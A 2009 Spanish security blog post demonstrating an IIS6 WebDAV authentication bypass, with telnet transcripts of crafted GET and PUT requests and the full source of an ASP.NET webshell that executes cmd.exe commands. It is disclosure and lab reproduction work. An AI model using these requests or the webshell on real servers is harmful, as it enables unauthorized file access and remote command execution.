16 mayo 2009

Fallo de autenticación de WebDav en IIS6

Kcope ha publicado hoy una nota de seguridad crítica que afecta a servidores web Internet Information Server en su versión 6 (IIS6) con el módulo de WebDav instalado.

El fallo es muy similar a otros anteriores. La validación por parte del servicio de caracteres Unicode se ejecuta de forma incorrecta, permitiendo saltarse la autenticación y por lo tanto, la lectura y escritura de ficheros en el sistema.

Para reproducir el problema, hemos descargado (warez!) una máquina virtual de Windows 2003 y ejecutado en un entorno VMWare. Tras instalar IIS6 y activar el módulo de Webdav sobre un directorio con ficheros, procedemos a probar la vulnerabilidad, que es tan sencilla como añadir los caracteres "/..%c0%af/" antes de la petición:

Se solicita de forma normal el archivo "test.txt" que contiene la cadena "prueba".

$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
GET /testdav/test.txt HTTP/1.1
Translate: f
Connection: close
Host: servername


HTTP/1.1 401 Unauthorized
Content-Length: 1656
Content-Type: text/html
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
Date: Sat, 16 May 2009 02:19:04 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE>
[...]

<h1>You are not authorized to view this page</h1>
You do not have permission to view this directory or page using the credentials that you supplied because your Web browser is sending a WWW-Authenticate header field that the Web server is not configured to accept.
<hr>
<p>Please try the following:</p>
[...]

</TD></TR></TABLE></BODY></HTML>
Connection closed by foreign host.

Lo que ocurre al añadir magia a la petición:
$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
GET /..%c0%af/testdav/test.txt HTTP/1.1
Translate: f
Connection: close
Host: servername


HTTP/1.1 200 OK
Connection: close
Date: Sat, 16 May 2009 02:15:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/plain
Content-Length: 6
ETag: "f093bdfac2d5c91:23b"
Last-Modified: Sat, 16 May 2009 01:09:36 GMT
Accept-Ranges: bytes

prueba
Connection closed by foreign host.

En el caso de subir ficheros, siempre y cuando los permisos NTFS y WebDav permitan la escritura y creación de archivos:

$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
PUT /..%c0%af/testdav/test.txt HTTP/1.1
Translate: f
Connection: close
Host: servername
Content-Length: 5


test

HTTP/1.1 201 Created
Connection: close
Date: Sat, 16 May 2009 02:24:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://servername/testdav/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

Si en vez de un inocente archivo de prueba, existe la posibilidad de que el WebDav esté habilitado para subir archivos ASPX:
$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
PUT /..%c0%af/testdav/shell.aspx HTTP/1.1
Translate: f
Connection: close
Host: servername
Content-Length: 1312

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>

HTTP/1.1 200 OK
Connection: close
Date: Sat, 16 May 2009 02:34:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

Finalmente, se accede por algún Virtual Directory que mapea el WebDav:





2 comments :

Jose Selvi dijo...

Como curiosidad, mirad Zone-H y vereis la cantidad de Windows 2003 Server's (y por lo tanto IIS's 6) que han sufrido defacement en los últimos días:

http://www.zone-h.org/archive/special=1/page=1

Se ha abierto la veda!!

Ivan Fraixedes Cugat dijo...

A mí el McAfee de nuestra empresa al escribir el fichero shell.aspx me lo detecta como un troyano, el lo denomina ASP/BackDoor.gen.

La parte del código que hace saltar la alarma es "cmd.exe".

La vulnabilidad está clara, pero si el servidor tiene un antivirus actualizado al menos se evitará que se puedan subir ficheros tan simples pero con un alto nivel de peligrosidad.